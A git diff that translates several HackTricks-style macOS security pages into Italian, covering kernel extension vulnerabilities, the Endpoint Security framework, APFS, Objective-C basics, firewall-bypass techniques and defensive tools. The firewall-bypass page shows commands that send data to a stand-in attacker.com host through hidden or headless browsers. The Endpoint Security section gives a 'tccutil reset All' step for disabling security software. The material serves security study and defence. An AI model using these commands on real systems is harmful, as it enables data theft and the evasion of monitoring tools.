# Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` - ## Debugging -## Referencias +## Riferimenti - [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index bb6bb0697..2d369b49b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Vulnerabilities +# Vulnerabilità del Kernel macOS {{#include ../../../banners/hacktricks-training.md}} ## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ +[**In questo rapporto**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) vengono spiegate diverse vulnerabilità che hanno permesso di compromettere il kernel compromettendo l'aggiornamento del software.\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 83bdf0dc2..097256437 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -4,78 +4,76 @@ ## System Extensions / Endpoint Security Framework -Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. +A differenza delle Kernel Extensions, **le System Extensions vengono eseguite nello spazio utente** anziché nello spazio del kernel, riducendo il rischio di un crash di sistema a causa di un malfunzionamento dell'estensione.
https://knight.sc/images/system-extension-internals-1.png
-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +Ci sono tre tipi di system extensions: **DriverKit** Extensions, **Network** Extensions e **Endpoint Security** Extensions. ### **DriverKit Extensions** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKit è un sostituto delle kernel extensions che **forniscono supporto hardware**. Consente ai driver di dispositivo (come USB, Serial, NIC e HID drivers) di essere eseguiti nello spazio utente anziché nello spazio del kernel. Il framework DriverKit include **versioni nello spazio utente di alcune classi dell'I/O Kit**, e il kernel inoltra gli eventi normali dell'I/O Kit allo spazio utente, offrendo un ambiente più sicuro per l'esecuzione di questi driver. ### **Network Extensions** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Le Network Extensions forniscono la possibilità di personalizzare i comportamenti di rete. Ci sono diversi tipi di Network Extensions: -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato al flusso. Ciò significa che gestisce il traffico di rete in base alle connessioni (o flussi) piuttosto che ai singoli pacchetti. +- **Packet Tunnel**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato ai pacchetti. Ciò significa che gestisce il traffico di rete in base ai singoli pacchetti. +- **Filter Data**: Questo viene utilizzato per filtrare i "flussi" di rete. Può monitorare o modificare i dati di rete a livello di flusso. +- **Filter Packet**: Questo viene utilizzato per filtrare i singoli pacchetti di rete. Può monitorare o modificare i dati di rete a livello di pacchetto. +- **DNS Proxy**: Questo viene utilizzato per creare un provider DNS personalizzato. Può essere utilizzato per monitorare o modificare le richieste e le risposte DNS. ## Endpoint Security Framework -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +L'Endpoint Security è un framework fornito da Apple in macOS che offre un insieme di API per la sicurezza del sistema. È destinato all'uso da parte di **fornitori di sicurezza e sviluppatori per costruire prodotti che possono monitorare e controllare l'attività del sistema** per identificare e proteggere contro attività dannose. -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +Questo framework fornisce una **collezione di API per monitorare e controllare l'attività del sistema**, come esecuzioni di processi, eventi del file system, eventi di rete e del kernel. -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +Il nucleo di questo framework è implementato nel kernel, come una Kernel Extension (KEXT) situata in **`/System/Library/Extensions/EndpointSecurity.kext`**. Questo KEXT è composto da diversi componenti chiave: -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver**: Questo funge da "punto di ingresso" per l'estensione del kernel. È il principale punto di interazione tra il sistema operativo e il framework di Endpoint Security. +- **EndpointSecurityEventManager**: Questo componente è responsabile dell'implementazione dei kernel hooks. I kernel hooks consentono al framework di monitorare gli eventi di sistema intercettando le chiamate di sistema. +- **EndpointSecurityClientManager**: Questo gestisce la comunicazione con i client nello spazio utente, tenendo traccia di quali client sono connessi e devono ricevere notifiche di eventi. +- **EndpointSecurityMessageManager**: Questo invia messaggi e notifiche di eventi ai client nello spazio utente. -The events that the Endpoint Security framework can monitor are categorized into: +Gli eventi che il framework di Endpoint Security può monitorare sono categorizzati in: -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- Eventi di file +- Eventi di processo +- Eventi di socket +- Eventi del kernel (come il caricamento/scaricamento di un'estensione del kernel o l'apertura di un dispositivo I/O Kit) -### Endpoint Security Framework Architecture +### Architettura del Framework di Endpoint Security
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**La comunicazione nello spazio utente** con il framework di Endpoint Security avviene attraverso la classe IOUserClient. Vengono utilizzate due diverse sottoclassi, a seconda del tipo di chiamante: -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient**: Questo richiede il diritto `com.apple.private.endpoint-security.manager`, che è detenuto solo dal processo di sistema `endpointsecurityd`. +- **EndpointSecurityExternalClient**: Questo richiede il diritto `com.apple.developer.endpoint-security.client`. Questo sarebbe tipicamente utilizzato da software di sicurezza di terze parti che deve interagire con il framework di Endpoint Security. -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +Le Endpoint Security Extensions:**`libEndpointSecurity.dylib`** è la libreria C che le system extensions utilizzano per comunicare con il kernel. Questa libreria utilizza l'I/O Kit (`IOKit`) per comunicare con il KEXT di Endpoint Security. -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`** è un demone di sistema chiave coinvolto nella gestione e nel lancio delle system extensions di sicurezza degli endpoint, in particolare durante il processo di avvio iniziale. **Solo le system extensions** contrassegnate con **`NSEndpointSecurityEarlyBoot`** nel loro file `Info.plist` ricevono questo trattamento di avvio anticipato. -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +Un altro demone di sistema, **`sysextd`**, **valida le system extensions** e le sposta nelle posizioni di sistema appropriate. Poi chiede al demone pertinente di caricare l'estensione. Il **`SystemExtensions.framework`** è responsabile dell'attivazione e disattivazione delle system extensions. -## Bypassing ESF +## Bypassare ESF -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +ESF è utilizzato da strumenti di sicurezza che cercheranno di rilevare un red teamer, quindi qualsiasi informazione su come questo potrebbe essere evitato suona interessante. ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +Il fatto è che l'applicazione di sicurezza deve avere **permessi di accesso completo al disco**. Quindi, se un attaccante potesse rimuovere ciò, potrebbe impedire l'esecuzione del software: ```bash tccutil reset All ``` +Per **maggiori informazioni** su questo bypass e quelli correlati, controlla il talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +Alla fine, questo è stato risolto dando il nuovo permesso **`kTCCServiceEndpointSecurityClient`** all'app di sicurezza gestita da **`tccd`** in modo che `tccutil` non cancelli i suoi permessi impedendole di funzionare. -At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. - -## References +## Riferimenti - [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) - [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 7e9bb6e6d..6a9b8d2a4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple Proprietary File System (APFS) -**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. +**Apple File System (APFS)** è un file system moderno progettato per sostituire l'Hierarchical File System Plus (HFS+). Il suo sviluppo è stato guidato dalla necessità di **migliorare le prestazioni, la sicurezza e l'efficienza**. -Some notable features of APFS include: +Al alcune caratteristiche notevoli di APFS includono: -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **Condivisione dello Spazio**: APFS consente a più volumi di **condividere lo stesso spazio di archiviazione libero sottostante** su un singolo dispositivo fisico. Questo consente un utilizzo dello spazio più efficiente poiché i volumi possono crescere e ridursi dinamicamente senza la necessità di ridimensionamenti o ripartizionamenti manuali. +1. Questo significa, rispetto alle partizioni tradizionali nei dischi file, **che in APFS diverse partizioni (volumi) condividono tutto lo spazio su disco**, mentre una partizione regolare aveva solitamente una dimensione fissa. +2. **Snapshot**: APFS supporta **la creazione di snapshot**, che sono istanze **sola lettura** e puntuali del file system. Gli snapshot consentono backup efficienti e facili rollback di sistema, poiché consumano spazio di archiviazione aggiuntivo minimo e possono essere creati o ripristinati rapidamente. +3. **Cloni**: APFS può **creare cloni di file o directory che condividono lo stesso spazio di archiviazione** dell'originale fino a quando il clone o il file originale non vengono modificati. Questa funzione fornisce un modo efficiente per creare copie di file o directory senza duplicare lo spazio di archiviazione. +4. **Crittografia**: APFS **supporta nativamente la crittografia dell'intero disco** così come la crittografia per file e per directory, migliorando la sicurezza dei dati in diversi casi d'uso. +5. **Protezione da Crash**: APFS utilizza uno **schema di metadati copy-on-write che garantisce la coerenza del file system** anche in caso di improvvisi blackout o crash di sistema, riducendo il rischio di corruzione dei dati. +In generale, APFS offre un file system più moderno, flessibile ed efficiente per i dispositivi Apple, con un focus su prestazioni, affidabilità e sicurezza migliorate. ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +Il volume `Data` è montato in **`/System/Volumes/Data`** (puoi verificarlo con `diskutil apfs list`). +L'elenco dei firmlinks può essere trovato nel file **`/usr/share/firmlinks`**. ```bash ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4561700b5..931569dd2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -5,24 +5,21 @@ ## Objective-C > [!CAUTION] -> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: +> Nota che i programmi scritti in Objective-C **mantengono** le loro dichiarazioni di classe **quando** **compilati** in [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Tali dichiarazioni di classe **includono** il nome e il tipo di: -- The class -- The class methods -- The class instance variables - -You can get this information using [**class-dump**](https://github.com/nygard/class-dump): +- La classe +- I metodi della classe +- Le variabili di istanza della classe +Puoi ottenere queste informazioni utilizzando [**class-dump**](https://github.com/nygard/class-dump): ```bash class-dump Kindle.app ``` +Nota che questi nomi potrebbero essere offuscati per rendere più difficile il reverse engineering del binario. -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## Classi, Metodi & Oggetti +### Interfaccia, Proprietà & Metodi ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **Classe** ```objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } @end ``` +### **Oggetto e Chiamata del Metodo** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +Per creare un'istanza di una classe viene chiamato il metodo **`alloc`** che **alloca memoria** per ogni **proprietà** e **azzera** quelle allocazioni. Poi viene chiamato **`init`**, che **inizializza le proprietà** ai **valori richiesti**. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **Metodi di Classe** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +I metodi di classe sono definiti con il **segno più** (+) e non con il trattino (-) che viene utilizzato con i metodi di istanza. Come il metodo di classe **NSString** **`stringWithString`**: ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: - +Per **impostare** e **ottenere** proprietà, puoi farlo con una **notazione a punto** o come se stessi **chiamando un metodo**: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **Variabili di Istanza** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +In alternativa ai metodi setter e getter, puoi utilizzare le variabili di istanza. Queste variabili hanno lo stesso nome delle proprietà ma iniziano con un "\_": ```objectivec - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfLeaves); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` - ### Protocols -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +I protocolli sono insiemi di dichiarazioni di metodo (senza proprietà). Una classe che implementa un protocollo implementa i metodi dichiarati. +Ci sono 2 tipi di metodi: **obbligatori** e **opzionali**. Per **default**, un metodo è **obbligatorio** (ma puoi anche indicarlo con un tag **`@required`**). Per indicare che un metodo è opzionale usa **`@optional`**. ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### Tutto insieme ```objectivec // gcc -framework Foundation test_obj.m -o test_obj #import @@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m @implementation MyVehicle : NSObject - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfWheels); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfWheels); } @end int main() { - MyVehicle* mySuperCar = [MyVehicle new]; - [mySuperCar startEngine]; - mySuperCar.numberOfWheels = 4; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar setNumberOfWheels:3]; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar makeLongTruck]; +MyVehicle* mySuperCar = [MyVehicle new]; +[mySuperCar startEngine]; +mySuperCar.numberOfWheels = 4; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar setNumberOfWheels:3]; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar makeLongTruck]; } ``` - -### Basic Classes +### Classi di Base #### String - ```objectivec // NSString NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` - -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. - +Le classi di base sono **immutabili**, quindi per aggiungere una stringa a una esistente è **necessario creare un nuovo NSString**. ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` - -Or you could also use a **mutable** string class: - +Oppure potresti anche usare una classe di stringhe **mutabile**: ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] [mutableString appendString:@" and published in "]; [mutableString appendString:bookPublicationYear]; ``` - -#### Number - +#### Numero ```objectivec // character literals. NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] @@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` - -#### Array, Sets & Dictionary - +#### Array, Set e Dizionario ```objectivec // Inmutable arrays NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; @@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @ // Dictionary NSDictionary *fruitColorsDictionary = @{ - @"apple" : @"red", - @"banana" : @"yellow", - @"orange" : @"orange", - @"grape" : @"purple" +@"apple" : @"red", +@"banana" : @"yellow", +@"orange" : @"orange", +@"grape" : @"purple" }; // In dictionaryWithObjectsAndKeys you specify the value and then the key: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: - @"red", @"apple", - @"yellow", @"banana", - @"orange", @"orange", - @"purple", @"grape", +@"red", @"apple", +@"yellow", @"banana", +@"orange", @"orange", +@"purple", @"grape", nil]; // Mutable dictionary @@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"]; ``` +### Blocchi -### Blocks - -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - +I blocchi sono **funzioni che si comportano come oggetti** quindi possono essere passati a funzioni o **memorizzati** in **array** o **dizionari**. Inoltre, possono **rappresentare un valore se vengono forniti valori** quindi è simile ai lambdas. ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ - //Perform operations here +//Perform operations here }; // For example int (^suma)(int, int) = ^(int a, int b){ - return a+b; +return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` - -It's also possible to **define a block type to be used as a parameter** in functions: - +È anche possibile **definire un tipo di blocco da utilizzare come parametro** nelle funzioni: ```objectivec // Define the block type typedef void (^callbackLogger)(void); // Create a bloack with the block type callbackLogger myLogger = ^{ - NSLog(@"%@", @"This is my block"); +NSLog(@"%@", @"This is my block"); }; // Use it inside a function as a param void genericLogger(callbackLogger blockParam) { - NSLog(@"%@", @"This is my function"); - blockParam(); +NSLog(@"%@", @"This is my function"); +blockParam(); } genericLogger(myLogger); // Call it inline genericLogger(^{ - NSLog(@"%@", @"This is my second block"); +NSLog(@"%@", @"This is my second block"); }); ``` - -### Files - +### File ```objectivec // Manager to manage files NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists: if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { - NSLog (@"File exists"); +NSLog (@"File exists"); } // copy files if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { - NSLog (@"Copy successful"); +NSLog (@"Copy successful"); } // Check if the content of 2 files match if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { - NSLog (@"File contents match"); +NSLog (@"File contents match"); } // Delete file if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { - NSLog(@"Removed successfully"); +NSLog(@"Removed successfully"); } ``` - -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +È anche possibile gestire i file **utilizzando oggetti `NSURL` invece di oggetti `NSString`**. I nomi dei metodi sono simili, ma **con `URL` invece di `Path`**. ```objectivec ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 7d376dfe5..102eee85b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -2,84 +2,74 @@ {{#include ../../banners/hacktricks-training.md}} -## Found techniques +## Tecniche trovate -The following techniques were found working in some macOS firewall apps. +Le seguenti tecniche sono state trovate funzionanti in alcune app firewall di macOS. -### Abusing whitelist names +### Abuso dei nomi nella whitelist -- For example calling the malware with names of well known macOS processes like **`launchd`** +- Ad esempio, chiamare il malware con nomi di processi macOS ben noti come **`launchd`** -### Synthetic Click +### Click sintetico -- If the firewall ask for permission to the user make the malware **click on allow** +- Se il firewall chiede il permesso all'utente, far **cliccare su consenti** al malware -### **Use Apple signed binaries** +### **Utilizzare binari firmati da Apple** -- Like **`curl`**, but also others like **`whois`** +- Come **`curl`**, ma anche altri come **`whois`** -### Well known apple domains +### Domini Apple ben noti -The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. +Il firewall potrebbe consentire connessioni a domini Apple ben noti come **`apple.com`** o **`icloud.com`**. E iCloud potrebbe essere utilizzato come C2. -### Generic Bypass +### Bypass generico -Some ideas to try to bypass firewalls +Alcune idee per provare a bypassare i firewall -### Check allowed traffic - -Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them +### Controlla il traffico consentito +Conoscere il traffico consentito ti aiuterà a identificare i domini potenzialmente in whitelist o quali applicazioni sono autorizzate ad accedervi. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` +### Abusare del DNS -### Abusing DNS - -DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers. +Le risoluzioni DNS vengono eseguite tramite l'applicazione firmata **`mdnsreponder`** che probabilmente sarà autorizzata a contattare i server DNS.
https://www.youtube.com/watch?v=UlT5KFTMn2k
-### Via Browser apps +### Tramite app del browser - **oascript** - ```applescript tell application "Safari" - run - tell application "Finder" to set visible of process "Safari" to false - make new document - set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil +run +tell application "Finder" to set visible of process "Safari" to false +make new document +set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil end tell ``` - - Google Chrome - ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` - - Firefox - ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` - - Safari - ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` +### Attraverso le iniezioni di processi -### Via processes injections - -If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections: +Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti bypassare le protezioni del firewall: {{#ref}} macos-proces-abuse/ {{#endref}} -## References +## Riferimenti - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index a41d941e4..57bdc2119 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -4,16 +4,16 @@ ## Firewalls -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. -- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitorerà ogni connessione effettuata da ciascun processo. A seconda della modalità (consenti connessioni silenziose, nega connessione silenziosa e avvisa) ti **mostrerà un avviso** ogni volta che viene stabilita una nuova connessione. Ha anche un'interfaccia grafica molto bella per vedere tutte queste informazioni. +- [**LuLu**](https://objective-see.org/products/lulu.html): Firewall di Objective-See. Questo è un firewall di base che ti avviserà per connessioni sospette (ha un'interfaccia grafica ma non è così elegante come quella di Little Snitch). ## Persistence detection -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Applicazione di Objective-See che cercherà in diverse posizioni dove **il malware potrebbe persistere** (è uno strumento a 